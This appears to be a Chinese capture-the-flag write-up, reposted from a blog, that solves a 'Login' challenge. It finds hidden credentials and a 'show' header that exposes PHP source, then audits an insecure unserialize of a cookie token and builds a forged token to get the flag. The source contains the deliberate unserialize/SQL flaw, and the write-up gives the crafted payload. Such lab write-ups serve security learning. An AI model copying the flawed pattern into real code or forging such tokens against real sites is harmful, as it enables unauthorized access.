“百度杯”CTF比赛 十月场 -------Login

=============================================================

个人收获:

1.多观察网页的源代码

2.多留意http的访问信息

3.多留意http头参数的变化

4.收获了unserialize,gzuncompress参数的认识

===============================================================

题目界面

第一反应是通过burp抓包然后放到sqlmap里面去跑看看有什么有用的信息

自己手测发现页面只会跳出一个error并没有什么有用的信息

然后右键查看源码发现 test1,test1

题主还特地放在很下面 需要滚下去才能看到

然后用test1 test1成功登陆但是页面显示这个

看到这个第一反应就是看源代码然而并没有什么发现,然后通过burp抓包发现在http头里面有一个特别的参数show

这个参数挺可疑的,尝试把show:0(注意英文字符,冒号后面有一个空格)放到请求包里面测试下发现结果还是一样

但是换成了show:1就出现惊喜了

代码如下

<!-- <?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
  public $where;
  function __wakeup()
  {
    if(!empty($this->where))
    {
      $this->select($this->where);
    }
  }
  function select($where)
  {
    $sql = mysql_query('select * from user where '.$where);
    return @mysql_fetch_array($sql);
  }
}
if(isset($requset['token']))
{
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
  if($login['user'] === 'ichunqiu')
  {
    echo $flag;
  }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
  }else{
    echo "(╯‵□′)╯︵┴─┴ ";
  }
}else{
  header('Location: index.php?error=1');
}
?> -->

对他进行代码审计

发现这段

if($login['user'] === 'ichunqiu')
  {
    echo $flag;
  }else if($row['pass'] !== $login['pass']){
    echo 'unserialize injection!!';
  }else{
    echo "(╯‵□′)╯︵┴─┴ ";
  }
}else{
  header('Location: index.php?error=1');
}

那么login['user']从这段来

if(isset($requset['token']))
{
  $login = unserialize(gzuncompress(base64_decode($requset['token'])));
  $db = new db();
  $row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');

我们可以发现requset中获取token值然后对它进行unserialize,gzuncompress,base64_decode等一系列操作得到login,

unserialize:对单一的已序列化的变量进行操作,将其转换回 PHP 的值

gzuncompress:解压被压缩的字符串

然后在login中获取键为user的值,如果等于ichunqiu就得出flag

那么我们只要对user:ichunqiu进行一系列逆操作就行

<?php
$a = array("user"=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a

?>

得出

我们只要在Cookie中填入  token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==;在发送过去就能获得flag

 注意token前面有个空格,结尾有个分号

猜你喜欢

转载自blog.csdn.net/nzjdsds/article/details/81348117